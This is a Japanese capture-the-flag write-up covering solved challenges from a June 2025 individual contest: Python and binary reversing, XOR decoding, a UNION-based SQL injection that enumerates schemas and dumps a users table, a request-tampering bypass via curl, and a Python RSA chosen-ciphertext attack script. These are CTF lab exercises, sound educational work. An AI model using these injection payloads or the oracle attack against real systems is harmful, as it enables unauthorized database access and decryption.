この大会は2025/6/28 3:00(JST)~2025/6/30 3:00(JST)に開催されました。
この大会は個人戦。結果は1200点で443人中15位でした。
途中でnc接続先サーバがダウンして、アクセスできなかったりして、取り組みをやめてしまいましたが、自分で解けた問題をWriteupとして書いておきます。
First steps (misc 50)
問題にフラグが書いてあった。
!FLAG!{H4ckers_f1rst_st3ps}!FLAG!
Basic python (reversing 100)
def getFLag(): file=open("flag.txt","rt") fileContents=file.read().strip() return fileContents def main(): a=getFLag() b=[] for i in range(len(a)): if(i%2==0): b.append(ord(a[i])+i) else: b.append(ord(a[i])-i) for i in range(len(b)//2): temp=b[-i] b[-i]=b[i] b[i]=temp print(b) main()
スクリプトの処理概要は以下の通り。
・a: flag.txtの内容 ・b = [] ・iがaの長さ未満の値に対して以下を実行 ・iが偶数の場合 ・bにa[i]のASCIIコードにiをプラスしたものを追加 ・iが奇数の場合 ・bにa[i]のASCIIコードにiをマイナスしたものを追加 ・bを先頭を除き、逆にする。 ・bを出力
このことを前提に逆算していく。
#!/usr/bin/env python3 b = [33, 73, 32, 103, 39, 106, -2, 159, 0, 151, 80, 140, 66, 128, 87, 78, 79, 119, 27, 117, 8237, 95, 91, 133, 80, 135, 80, 130, 39, 116, 105, 105, 110, 56, 71, 129, 28, 75, 62, 78, 69] for i in range(len(b) // 2): temp = b[-i] b[-i] = b[i] b[i] = temp flag = '' for i in range(len(b)): if i % 2 == 0: flag += chr(b[i] - i) else: flag += chr(b[i] + i) print(flag)
!FLAG!{N0w_th4t_wasn’t_2_h4rd_now!}!FLAG!
this flaG Doesn't Bite (reversing 250)
Ghidraでデコンパイルする。
undefined8 main(void) { char cVar1; long in_FS_OFFSET; int local_3c; uint auStack_38 [8]; char local_18 [8]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); builtin_strncpy(local_18,"D3bugFTW",8); for (local_3c = 0; local_3c < 8; local_3c = local_3c + 1) { cVar1 = myFunc((int)local_18[local_3c]); auStack_38[local_3c] = (int)cVar1; printf("%02x",(ulong)auStack_38[local_3c]); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } byte myFunc(byte param_1) { return param_1 ^ 0x69; }
暗号化したデータを0x69とXORすれば、元のテキストを割り出すことができる。
>>> key = 0x69 >>> enc = '2d5a0b1c0e2f3d3e' >>> enc = bytes.fromhex(enc) >>> ''.join([chr(c ^ key) for c in enc]) 'D3bugFTW'
!FLAG!{D3bugFTW}!FLAG!
Basic SQL (web exploitation 200)
適当なアカウントを作成して、ログインする。検索画面になるので、SQLインジェクションを試す。
以下を入力して、検索する。
Z' union select 1,2 #
この結果、以下のように表示された。
1 2
以下を入力して、検索する。
Z' union select schema_name,2 from information_schema.schemata #
この結果、以下のように表示された。
information_schema 2 performance_schema 2 basicsql 2
以下を入力して、検索する。
Z' union select table_name,2 from information_schema.tables where table_schema = 'basicsql' #
この結果、以下のように表示された。
items 2 users 2
以下を入力して、検索する。
Z' union select column_name,2 from information_schema.columns where table_name = 'users' #
この結果、以下のように表示された。
id 2 name 2 password 2 admin 2
以下を入力して、検索する。
Z' union select name,password from users where name = 'flag' #
この結果、以下のように表示された。
flag
!FLAG!{1nj3cting_4ction}!FLAG!
!FLAG!{1nj3cting_4ction}!FLAG!
Lottery (web exploitation 250)
ランダムの数字を推測するページになっている。
試しに1234と入力し、Enterを押したら、以下のようにメッセージが表示された。
incorrect guess again. The number was 8296422562579822
デベロッパーツールでペイロードを見てみると、以下のようになっていた。
{"number":"8296422562579822","guess":"1234"}
両方、同じ数字を指定して、送信すればよいのかもしれない。
$ curl https://involuntaryctf.net/rollthedice/flag -H 'Content-Type: application/json' -d '{"number":"1234","guess":"1234"}' { "flag": "!FLAG!{N0t_so_r4nd0m!!}!FLAG! " }
!FLAG!{N0t_so_r4nd0m!!}!FLAG!
Enter the crypt (cryptography 100)
quipqiupで復号する。その際、f=qを指定して調整する。
Hello, this is my cypher text. It's top secret. This is the flag if you want it !FLAG!{Fr3quency_4n4lysis}!FLAG. I wonder how you're reading this if I encrypted it, I guess I'll never know.復号した文章の中にフラグが含まれている。ただ、末尾の"!"が不足しているので、末尾に"!"を付ける。
!FLAG!{Fr3quency_4n4lysis}!FLAG!
Deeper in the Catacombs (cryptography 250)
$ nc involuntaryctf.net 5010 - Generating your public / private key-pairs now . . . - Your public key is (65537,18083389079114514152103047882473031378016675118618550973064164376460873880681717208549105627552880116961947783304376085078714843499306336072723053609414413974355208391599536786091808003746387970431084900773013905811306024619537465387869710630358551210171070918488059370773278261315904677773907249895339711842274291108952521525426747969258959882364254247104992127427105948663233422255636778732485309850542625942215911217491759435967015113771072196933156739737864262510722116152142126303515740173498542729770065040393087004168503823270516590546355420814872443572965570462960507075987534795208655387901370259272856608929) Here's some cryptography I did earlier: 664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092 - Enter a message to encrypt with your public key: abcd abcd - Your encrypted message is: 13028026615106220773096638466794157590926184494052983586519074738027911087541564560071077643746559301398043508147920627964289429705815708487598063854357093224784562990287180279093205208980134618054686212439339437848446364425769196589016123011966912604309670516330273312371710949161465105508215467242147417631866048259350490120081262330123081158982485848209168811675704260872173677189663602542969047241140813640732077249929206328408439041696884674954967205787149972107415574740240273583167056788392757218809859370185595663458085847628785785459263402470332083326529394480264996225440122750475127320611800510056241369588 - Enter some cipher text to decrypt with the private key: 664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092 664399104974445682811602694336789237482249746866544888891768087985021694057166988587598179960934307915011060937115142613809558826007961797511527153207312598096227331300976998176767227829535111180834950222208756510862353799190432560881487041217765780683420655433189478592581773794132121686980809265632990544538990730219647229815278708455329188607218101880145386303129351637104675105802698124430997548433260878356019409009201592801928808155479390531613365865008771995200384031467774538602196024232708488593182887153845611682274681882005249329917619745149116529834830138983368492392778435421458962098102528676190952092 You're not allowed to do that
やはり提示されている暗号データを直接指定しても復号してくれない。試しに適当な平文を暗号化し、暗号化データを復号してみる。
$ nc involuntaryctf.net 5010 - Generating your public / private key-pairs now . . . - Your public key is (65537,16326371060279759879501024112745096387331468996332756763678972147879049912356659782264554887764578891033175055134475536606377418331660422225192055468927232424044955588065884774366161954224600730570107300707486022404749614995003339094625022294343998527672675240794736430894776473988376648447375662510069246723003088744134559861899388105497317698347055201161364867460738792784298145234618236096455445455897185683567970967152762861516516688164726991473400663978139671347373807397697694785093180598630183855942102656383850522190737296674538850681425259565690170437831941212087835815043327150049482224134291040056002814153) Here's some cryptography I did earlier: 15049198028869459128388301500482497360084893752189814324242351717740242098804379525214728071862497921679915037939082276007631829880537249627287028342181662263828640233473223897424728869548916522169682611274765101526349550808326548310389600869224932688342041564165942995840020458866234585303441180603284292861801625748706645816860304975029403748260703534783179154543636109254807706798532014893792379973258340570182188776452553991388595398101855674102441980232084995804306759249101182664906380376176533197139111057794571156999724764860979427564321001217257396885640999284408311254575090297739430738775799789814735215862 - Enter a message to encrypt with your public key: abc abc - Your encrypted message is: 5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401 - Enter some cipher text to decrypt with the private key: 5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401 5782162721363189398067165663316280593339095116742827020797637444822633103126629361447349782983793330753750753313643489838965948501079579851273309903275435013609731390558940157782039982686711128892422399651041851540135928151261755526950091264448935867569687054797069225907556779688138069315065317579565598737078500302250675553817567036487872846785158227631224685373909939926174441974614465548199246680945504227459237648611808687120745159084808730123645957506681782995072971858973091468776827719054455242100538569919215447172111138642810074324078101219012256034691100491598325327465855154132609626210068202446303044401 - Your decrypted cipher text is: 97989910 $ nc involuntaryctf.net 5010 - Generating your public / private key-pairs now . . . - Your public key is (65537,15165481638095853451786149147770928046881189578414366860631388836964204469337640310660766723488416946084921784529600267774507418974558575146613956047970033258711979351546847345644000614191578662368651102687276197874303688557799771342617744813717034665551896344377541453220968407040887269870134768194877717803216469860015780084595645025224385745565595576277058895136040099870886238784485740889274698927498993276323270704921610619681544696602156762404744678810054584680551696843391613104914672331610320094530516239798055573398776046769210816804869311023255174276463962473065671342701158592594744557140992555269093056219) Here's some cryptography I did earlier: 14197036586358708822798213074636532461834901834150916846548918405222616428934937753815050278094759729916275696623025329737776206203554664426423929897891840265525656644550386772043956981809840831139552107226282842920712728997338600127485545358854126619861119359164471980836521293936816023306999223468114029738217820958333115769425189674111416717041549482042407696988539790417021215453453042674415214486479063685839437991497022119241350081657732280989393963922546230055705028788994997572819326925265045832277059969802773413542979275684898332485136667569971405796499724906001621961843246094406659986010140000373736052230 - Enter a message to encrypt with your public key: xyz xyz - Your encrypted message is: 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795 - Enter some cipher text to decrypt with the private key: 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795 - Your decrypted cipher text is: 12012112210 >>> n = 15165481638095853451786149147770928046881189578414366860631388836964204469337640310660766723488416946084921784529600267774507418974558575146613956047970033258711979351546847345644000614191578662368651102687276197874303688557799771342617744813717034665551896344377541453220968407040887269870134768194877717803216469860015780084595645025224385745565595576277058895136040099870886238784485740889274698927498993276323270704921610619681544696602156762404744678810054584680551696843391613104914672331610320094530516239798055573398776046769210816804869311023255174276463962473065671342701158592594744557140992555269093056219 >>> e = 65537 >>> m = 12012112210 >>> pow(m, e, n) 7967135357005084379516227113430689493343051573968389124936825910869673547373145230281411605306121010059215829105935325263236013957333511004374577905953899572075490143765893874498969781378247372980529059495858443571768792392878111004993472032731465839411416248338499950584013200016797332054403359411450553032585208988122093715894832552033954861465899861784764383420948994182239732591660528157820085864587832329929834883468032358141872929910984248866183901403791295573896200870045705092746801969350513189779762230698119630013749515191789321427171031285052962265070562035748866897597361049534221371251884878641693981795
どうやら入力文字(末尾の改行コードを含む)のASCIIコードを10進数文字列で並べた値に対して、暗号化しているらしい。
1回暗号化のチャンスがあるので、適当な値を入力し、次の式を満たすc2を取得する。
c2 = pow(m2, e, n)
フラグは以下の式で暗号化されている。
c = pow(m, e, n)
ここでc * c2を復号すれば、m * m2を取得することができる。この値にinverse(m2, n)を掛け、nで割ればmを取得できる。あとはこれを文字列にすればフラグになる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('involuntaryctf.net', 5010)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) e, n = eval(data.split(' ')[-1]) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) c = int(data.split(' ')[-1]) try_msg = 'A' try_m = int(''.join([str(ord(x)) for x in try_msg + '\n'])) data = recvuntil(s, b': ') print(data + try_msg) s.sendall(try_msg.encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) try_c = int(data.split(' ')[-1]) try_c2 = (try_c * c) % n data = recvuntil(s, b': ') print(data + str(try_c2)) s.sendall(str(try_c2).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) try_m2 = int(data.split(' ')[-1]) m = try_m2 * inverse(try_m, n) % n assert pow(m, e, n) == c print('[+] decrypted value:', m) m = str(m) flag = '' code = '' for i in range(len(m)): code += m[i] if int(code) > 32 and int(code) < 127: flag += chr(int(code)) code = '' print('[*] flag:', flag)
実行結果は以下の通り。
- Generating your public / private key-pairs now . . .
- Your public key is (65537,17894954658667421591715274685827892775920265896742635109713935177131763604382550265872385547772673383857041120733937372125196184476059381099430269370222046750068622394904608005895229244187598920676340722480682202506565855414591743836270060180133083647763198882303424959801249580591439495437647804810787404385993690409456596005076859220120381859366639444360048132459307163885175134727020851486435109006329623589773336836101716039841226373235492438698926203947494464554613732648619069442324714222100496865340409739737208331253075505656573254049171172017644007686588920639535927215319412691144449414173293310128097619943)
Here's some cryptography I did earlier: 16325004137881380656650788592075457215420647570460668975640338187573109151136218827684775918182944431025571961878021688363731785624550676768002644425666534826009726734861382086010708334597616897139849366011253429365636238175263416777313638896384068668577007216812149573552545466279770277104433770360715849668270209592312605777059993111660959605754654477777896302921122062628917343509679842744728974231831182214971368019581578383742890134931080615940817590342121874746485972582575214831384375154731795299904636952093279485176831076759529197449614427301250658271695142251853385436075208117585096560667960362375645098677
- Enter a message to encrypt with your public key: A
A
- Your encrypted message is: 9620003749791180614860301667390674510020241642789043272423800493567594231513216797448411003069158746855789999661599701957967013626533406340778198473166557385972346604373860322213898939110572134980303362360626470739660638740273522738590800893550109030198384613866689318015012970456364568236453669992640175838457209945691699821966328834863131486769131271510985011405568970049392146875871546212946160656568734455000182410792176906133218085091599825761590332517456886567099911669184316552886195130092286261834676800803642176555790959815477021789952124226512467101837932360570600609122800679239975861542786936106450297870
- Enter some cipher text to decrypt with the private key: 4550338601239737426450064127450170590954769595659745234786227447749091863542555199680852124512047884761002214737962300470540924067324515824314675942788388130205495615793753655819471827975322961778140963965544363072458291093881331021272068139259154254346613997671032332441983715121449100889105672520643551112961267489355832502431813835788035540554269291739036796794006485457194581905113669589646628919021683886241857866290206454518934481851184653243531722108266772268457591915419275760578402022331513717906511450791907508974399494864798234116368554895112989302242002400353496689144666539754807916844408071041379590551
4550338601239737426450064127450170590954769595659745234786227447749091863542555199680852124512047884761002214737962300470540924067324515824314675942788388130205495615793753655819471827975322961778140963965544363072458291093881331021272068139259154254346613997671032332441983715121449100889105672520643551112961267489355832502431813835788035540554269291739036796794006485457194581905113669589646628919021683886241857866290206454518934481851184653243531722108266772268457591915419275760578402022331513717906511450791907508974399494864798234116368554895112989302242002400353496689144666539754807916844408071041379590551
- Your decrypted cipher text is: 21943690379366361226623416928671798628689968373822040594436903793791320
[+] decrypted value: 3370766571331238283659511048951121141119810810110912533707665713332
[*] flag: !FLAG!{RSA_n0_problem}!FLAG!
!FLAG!{RSA_n0_problem}!FLAG!